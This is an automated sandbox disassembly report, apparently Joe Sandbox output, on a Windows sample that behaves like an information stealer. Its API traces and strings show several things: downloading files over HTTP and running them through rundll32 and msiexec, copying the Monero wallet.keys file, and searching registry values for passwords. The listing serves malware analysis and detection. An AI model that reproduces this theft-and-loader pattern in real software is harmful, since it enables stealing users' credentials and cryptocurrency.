Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,0272AF18), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,0272A230,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

GET, xrefs: 004063CC
ERROR, xrefs: 00406457
ERROR, xrefs: 00406519

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: d927b76afa52bd7b0c1369a2c36bcc33fd1998f01813afa9de6c2e5c9edd82a3
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: d927b76afa52bd7b0c1369a2c36bcc33fd1998f01813afa9de6c2e5c9edd82a3
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02704B50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 0041525D
ERROR, xrefs: 00415412
ERROR, xrefs: 00415173
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415329
ERROR, xrefs: 00415116

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8db7edf32c98391e64821fb67d91f5ca25836f91d2221ee8173a43d856c5054d
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: 8db7edf32c98391e64821fb67d91f5ca25836f91d2221ee8173a43d856c5054d
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
/i ", xrefs: 00412EF4
<, xrefs: 00412FA0
/passive, xrefs: 00412F6B
"" , xrefs: 00412BAA
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
.msi, xrefs: 00412EA8
.dll, xrefs: 00412CF5

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 3befab2b7e5d092a88c2372aa0a6920469a3187009d50dc41a2c6a2ffe6852e6
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 3befab2b7e5d092a88c2372aa0a6920469a3187009d50dc41a2c6a2ffe6852e6
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02708C48,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$ChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3420786452-218353709
Opcode ID: e267f2f2b3d04189dcb70684286945c45c9c213aa8abd71b43349754c812bb8f
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: e267f2f2b3d04189dcb70684286945c45c9c213aa8abd71b43349754c812bb8f
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,0272AF18), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: 1a189af19a0918ddc1989b4224ad2285b48102a83fadce9624675bb6f0ae19fa
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: 1a189af19a0918ddc1989b4224ad2285b48102a83fadce9624675bb6f0ae19fa
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(352D9020,004217A0), ref: 00407646
lstrcat.KERNEL32(352D9020,00000000), ref: 00407688
lstrcat.KERNEL32(352D9020, : ), ref: 0040769A
lstrcat.KERNEL32(352D9020,00000000), ref: 004076CF
lstrcat.KERNEL32(352D9020,004217A8), ref: 004076E0
lstrcat.KERNEL32(352D9020,00000000), ref: 00407713
lstrcat.KERNEL32(352D9020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: f979cf87b43af2eb7bb5905fc5edc651b4ca25bb004b27d4a2fbdc1bc65e463e
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: f979cf87b43af2eb7bb5905fc5edc651b4ca25bb004b27d4a2fbdc1bc65e463e
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

\, xrefs: 00417000
:, xrefs: 00416FFC
C, xrefs: 00416FEC

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

